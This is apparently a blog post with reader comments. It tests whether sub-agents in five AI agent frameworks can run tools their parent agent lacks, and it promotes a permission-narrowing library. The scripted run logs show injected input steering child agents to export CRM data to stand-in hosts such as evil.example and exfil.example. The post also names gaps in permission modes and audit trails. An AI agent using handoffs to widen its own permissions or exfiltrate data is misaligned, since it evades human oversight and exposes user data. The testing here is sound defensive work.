When agent A hands work to agent B, what can B call? I assumed the answer was "at most what A can call". It isn't, in any of the five frameworks I use. Here's what each one actually does, from runs I did on 2026-09-02 with scripted models and no API key.
| Framework | Child inherits parent's tools? | Handoff can widen? | Built-in narrowing? |
|---|---|---|---|
| LangGraph / Deep Agents 0.7.6 | No. Child runs its own spec. | Yes | None |
| CrewAI 1.15.16 | No. Coworker runs its own list. | Yes | None. A hierarchical manager may hold no tools at all. |
| Claude Code 2.1.258 / Agent SDK 0.2.139 | Yes, by default. | Tools no (live: the CLI refused a child whose only tool was outside the parent's pool). Permission mode yes. | Partial. Tool pool is capped at the parent's. |
| OpenAI Agents SDK 0.22.0 | No. Target runs its own list. | Yes | None. input_filter edits history, not tools. |
| Google ADK 2.7.1 | No. Sub-agent runs its own list. | Yes | None. disallow_transfer_to_peers picks targets, not tools. |
"Widen" means: the child executed a tool the parent never held, through the framework's own handoff. Every run below prints which tool bodies actually ran, so the answer doesn't depend on reading the model's text.
LangGraph and Deep Agents
Supervisor holds write_brief. The writer subagent's spec lists write_brief and web_search. A note in the writer's input tells it to search.
[1] langchain 1.3.15 + deepagents 0.7.6, no guard
supervisor holds write_brief; the `writer` subagent's spec also lists web_search
writer's tool bodies that ran: [('web_search', 'site:exfil.example internal customer list'), ('write_brief', 'Q3 brief.')]
LangChain says it plainly. Deep Agents permissions: "Subagents inherit the parent agent's permissions by default… This replaces the parent's rules entirely." A general subagent middleware in core is #33879, open since 2025-11-07. The fix is one middleware on the subagent spec, twelve lines. I wrote that up separately: Does a LangGraph subagent inherit its parent's tool permissions? I tested it.
CrewAI
Orchestrator holds crm_query and allow_delegation=True. The exporter coworker declares crm_query and crm_export. The orchestrator delegates with CrewAI's own "Delegate work to coworker" tool.
RUN 2 Orchestrator delegates to `exporter`, which declares crm_export
[TOOL BODY RAN] crm_query(rows=4200)
[TOOL BODY RAN] crm_export -> https://evil.example/drop
parent tool set ['crm_query', 'delegate_work_to_coworker', 'ask_question_to_coworker']
child tool set ['crm_query', 'crm_export']
child ran crm_export -- a tool the parent does NOT hold? True
The mechanism: the delegation tool calls execute_task on the coworker with no tools argument, and the coworker resolves tools or agent.tools or []. The delegating agent isn't a term in that expression. A coworker that declares tools=[] gets nothing, not the parent's set.
The part that surprised me is Process.hierarchical. The manager's visible tools are only the two delegation tools, and a manager that declares any tool is rejected:
RUN 4b A manager agent that DOES declare a tool
CrewAI raised: Exception: Manager agent should not have tools
So in hierarchical mode the delegator always holds less than its workers. That's a routing design, and the docs describe allow_delegation as routing: "When allow_delegation=True, agents automatically gain access to powerful collaboration tools" (collaboration). I couldn't find a sentence about what tools the coworker runs with. Upstream: #2917 "Allow delegation to specific agents only" closed by the stale bot, PR #2068 closed unmerged, and even that would have constrained who you delegate to, not what the delegate can call. #5888, a governance hook for tool authorization, is open.
Claude Code and the Claude Agent SDK
This one is different, and the difference is worth understanding. Claude Code has two things people both call permissions.
The tool pool is tools (--tools). A subagent that omits tools "inherits every tool available to subagents if omitted" (sub-agents). A subagent that lists tools gets only those, and "a tool you leave out isn't in the subagent's session at all" (SDK subagents). The pool is the parent's, narrowed. Tools can't widen here.
The permission rules are allowed_tools and the permission mode. allowed_tools is "tool names that are auto-allowed without prompting for permission", per the SDK source. It's an auto-approve list, not a restriction. And the mode precedence is stated in one direction only: "If the parent uses bypassPermissions or acceptEdits, this takes precedence and can't be overridden." Nothing says a stricter parent clamps a looser child. A parent in the default manual mode with a child declaring bypassPermissions is a documented widening of the permission grant.
I drove the SDK's real command builder and read what goes to the CLI, then ran the widening case live once, on Haiku, capped at a few cents:
parent options.tools = ['Read', 'Grep', 'Glob', 'Agent']
parent permission_mode = default (Manual)
child AgentDefinition.tools= ['Read', 'Bash', 'WebFetch']
child permissionMode = bypassPermissions
Live, with the child declaring only Bash and the parent holding Read, Glob, Grep, Agent, the Agent tool returned an error instead of a sub-agent:
Agent 'widener' would be spawned with zero tools — refusing. Its tools list resolved to nothing: unrecognized [Bash].
So the child's list is resolved against the parent's pool. A tool the parent doesn't have resolves to nothing, and a child left with nothing isn't spawned. That's the narrowing on tools. It says nothing about permission mode, which the docs let the child loosen.
The child's tools go out verbatim in the initialize request. The parent's limits travel on separate CLI flags. A sweep of the installed SDK for intersection logic found none. Four upstream issues about subagent permissions not being bounded by the parent's (#20264, #12232, #40343, #25000) are all closed, none by a fix. The way to bound a subagent's actions today is a PreToolUse hook, and I have a PreToolUse hook that leaves a receipt.
OpenAI Agents SDK
Triage holds crm_query. The specialist it hands off to declares crm_query and crm_export. Handoffs are tools to the model, so triage calls transfer_to_specialist.
EXPERIMENT A — triage {crm_query}; handoff -> specialist {crm_query, crm_export}
final agent: specialist
tool bodies that RAN : [('crm_query', 50), ('crm_export', 'https://exfil.example/drop')]
A handoff target that declares no tools gets none, not triage's:
EXPERIMENT B — triage {crm_query}; handoff target declares NO tools
SDK raised: ModelBehaviorError: Tool crm_query not found in agent bare
tools offered to bare : []
People point at input_filter as the permission mechanism. It isn't. Every field of HandoffInputData is conversation history. I wrote a filter that emptied the whole history and crm_export still ran. The handoffs docs are consistent with that: "it's as though the new agent takes over the conversation, and gets to see the entire previous conversation history", and "Input guardrails still apply only to the first agent in the chain." Agents-as-tools widens the same way, inside the parent's own turn. I wrote up one policy for two Agents SDK agents separately. Upstream, #2515 asked for tool-level governance, including a way to validate trust across a handoff: "When Agent A hands off to Agent B, there is no mechanism to validate trust levels". A maintainer replied in February 2026: "We don't have immediate plans to add this feature to the core SDK, but we'll explore viable solutions for your needs." The reporter closed the issue the following month and moved the work to another repository. Per-tool guardrails themselves do ship: 0.22.0 exports ToolInputGuardrail and ToolOutputGuardrail. Corrected 2026-09-17: an earlier version stopped the maintainer's sentence at its comma and did not say who closed the issue. The sentence on per-tool guardrails was added in the same edit.
Google ADK
Coordinator holds crm_query. The exporter sub-agent declares crm_query and crm_export. The coordinator calls transfer_to_agent.
tool bodies that RAN : [('crm_query', 50), ('crm_export', 'https://exfil.example/drop')]
A sub-agent with no tools is offered only transfer_to_agent, and calling the parent's tool fails with ValueError: Tool 'crm_query' not found. Same shape as the others: the child's list is its own. AgentTool widens the same way inside the parent's turn.
disallow_transfer_to_peers looks like a permission and isn't one. It shapes the instruction text and the agent_name enum the model sees. In my run on 2.7.1 an agent with the flag set still transferred to its peer when the scripted model named it, and the peer ran crm_export. That's the gap #3850 described. A maintainer wrote there that "the ADK lacks a secondary, runtime-level check to validate that the calling agent has permission to transfer to the target agent." The issue was closed on 2026-06-18. The docs describe the transfer mechanism and say nothing about what tools the target runs with. More on what crosses an ADK transfer.
What the five have in common
None of them consults the parent when the child's grant is computed. Four of five let the child hold a tool the parent doesn't. The fifth caps the tool pool but lets the permission mode loosen. In every case the child's grant comes from its own definition, and the handoff is routing.
That's a reasonable design for the problem these frameworks set out to solve, which is coordinating work. It's the wrong default for the problem I have, which is a sub-agent that gets talked into something by the content it was handed. I found the same shape when I reviewed our own adapters like an attacker. I want the handoff to be a narrowing: the child holds the intersection of what it asks for and what the parent holds, and I can prove that from the log afterwards.
What I do about it
Each framework has a seam where you can add that intersection yourself. LangChain has wrap_tool_call. CrewAI has before_tool_call hooks. Claude Code has PreToolUse. ADK has before_tool_callback and plugins. The OpenAI Agents SDK has RunHooks.on_tool_start and tool-level is_enabled. The twelve-line LangGraph version is in the post above. I put the general version, scopes and ceilings and a lifetime instead of tool names, plus a hash-chained log you verify offline, in an open-source library, attenu-guard, with an adapter for each of these five and twelve more. The scripts behind every row in the table are in the repo under examples/baselines, so you can re-run them against the next release. Docs: attenu-guard docs.
Does a sub-agent's tool call show up in the audit trail?
Added 2026-09-17. I ran this for the same five frameworks on 2026-09-17. On the parent's side, a Google ADK transfer and an OpenAI Agents SDK handoff keep the child's calls and name the child on each one. In Deep Agents on LangGraph and in CrewAI, the parent gets the child's final answer without the calls behind it. For Claude Code I have no result for the parent's side. Those runs had no live Claude Code session. The script fed the PreToolUse hook its input the way Claude Code would, so there was no real transcript to read. In the same runs, attenu-guard's hash-chained log kept the child's calls in all five. A reader asked this, so it got its own post: Does the audit log survive a handoff? Its second table has CrewAI 1.15.18, and the table at the top of this post has 1.15.16.
So does a sub-agent inherit its parent's permissions?
No. In LangGraph, CrewAI, the OpenAI Agents SDK and Google ADK the child runs whatever its own definition lists, and it can hold a tool the parent never had. In Claude Code the child's tools are capped at the parent's pool, but its permission mode can be looser than the parent's.
If one of these frameworks does bound the child and I missed it, tell me. I'll re-run and correct the row.
Top comments (5)
The full write-up is even better than the thread version — "tool bodies that RAN" with exfil URLs as receipts is the right rigor level for a security claim, and the finding that ADK's disallow_transfer_to_peers shapes instruction text rather than runtime behavior is the kind of thing only execution reveals.
Two connections from my side, both extending your frame rather than challenging it.
First — your "narrowing: intersection of what the child asks and what the parent holds" is fail-direction applied to handoffs. Same shape as the fail-direction contract from the Rodrigo thread: when evidence about the right scope runs out, the artifact degrades conservatively. A handoff that defaults to intersection is the permission-side equivalent of a lock that stays locked on ambiguous sensor data — the conservative branch is baked into the join, not left to runtime judgment.
Second — the question your library opens but doesn't yet answer: audit chain continuity. When the child runs crm_export, does that call appear in the parent's audit trail as a child-attributed entry, or does the chain break at the handoff? If it breaks, an attenuated child could run a forbidden tool and the parent's log would show nothing — which converts the permission gap into an observability gap. Your hash-chained log is the right substrate; the open question is whether parent-side hooks (LangChain's wrap_tool_call, Claude Code's PreToolUse) fire for child-executed tools at all, or only for parent-executed ones. If they don't, attenu-guard needs a second seam: propagation of the audit event upstream, not just narrowing of the grant downstream.
Happy to be wrong on that one — if any of the five frameworks propagates child tool calls into parent-side audit, that framework deserves a row update, and the finding would be worth its own post.
@mansio on the chain question: in attenu-guard the ledger belongs to the chain, not to an agent. When the child runs
crm_export, the allow or the deny is written at the child's tool boundary as an entry carrying the child's node id, hash-linked to the parent's entries on the same chain. The released bundle vectors show the shape: seq 1 is the spawn ofvectors:n1undervectors:n0, seq 5 isvectors:n1deniedcrm.export, seq 8 isvectors:n0done, one chain. So the parent's own hook never has to fire for the child's call to be in the parent's audit trail. The propagation you describe is what a chain-scoped log does by construction.Your suspicion about parent-side hooks is right for LangGraph. Deep Agents collapses the subagent's transcript into one ToolMessage for the supervisor, "Brief written.", so a supervisor-side
wrap_tool_callsees nothing of the child's calls; the middleware goes on the subagent spec. Claude Code is the other way: its docs say hooks run inside subagents, not only on the main thread, and aPreToolUsehook with no matcher did fire for every subagent call in my run, with a transcript per subagent.CrewAI and ADK already answer part of this: attenu-guard's before_tool_call / before_tool_callback hook is registered once and fires for the coworker's or sub-agent's calls too, not just the caller's. The OpenAI Agents SDK recipe wraps tools directly instead, so that one is still open, and your framing is the one I will use for it.
The chain-owned ledger is the right architecture — "the ledger belongs to the chain, not to an agent" means observability survives handoff by construction, which is stronger than any propagation patch. And the three-way split across frameworks is the finding: chain breaks (LangGraph collapsing a child's transcript into "Brief written."), chain continues (Claude Code's subagent-scoped hooks), chain covered by a registered-once hook (CrewAI, ADK). The LangGraph case is the sharpest — a supervisor reading "Brief written." receives a valid message that conceals every call that produced it, which is absent-answer-in-passing-clothes at the audit layer.
For the OpenAI SDK open case, your framing maps cleanly: tool wrapping closes the gap only if the wrapper writes to the chain ledger, not just intercepts the call. Worth one post — the five-row audit-continuity table next to the five-row permission table would make the picture complete: two axes, five frameworks, each row a receipt.
@mansio that is the next post: two tables, five rows each, one receipt per row, up on Tuesday 8 September. I ran the OpenAI SDK row first: the wrapper does write to the chain ledger, with the child's node id on each entry, but only because the handoff hook minted that node. Without the hook there is nothing to attribute to.
@mansio it's up: attenu.io/blog/audit-continuity-fi...
Two axes, five frameworks, with the permission table from the hub repeated unchanged next to the new one. Later than the Tuesday I gave you, and I should have said so at the time.
Two rows went the opposite way to what I expected. Google ADK and the OpenAI Agents SDK keep the child's calls in the parent's own view, attributed by agent — so there the chain ledger adds the authority decision and an offline proof, not visibility. LangGraph and CrewAI lose them: the supervisor reads "Brief written." and the orchestrator's model never hears the coworker's tool names. Claude Code's cell says "not established", because I have no live transcript to read and would rather leave it open than guess.
Every runner is in the repo under
docs/runs/scripts/, one per row, and the uncut output of all five is next to them. Each imports its recipe fromexamples/integrations/and only adds printing.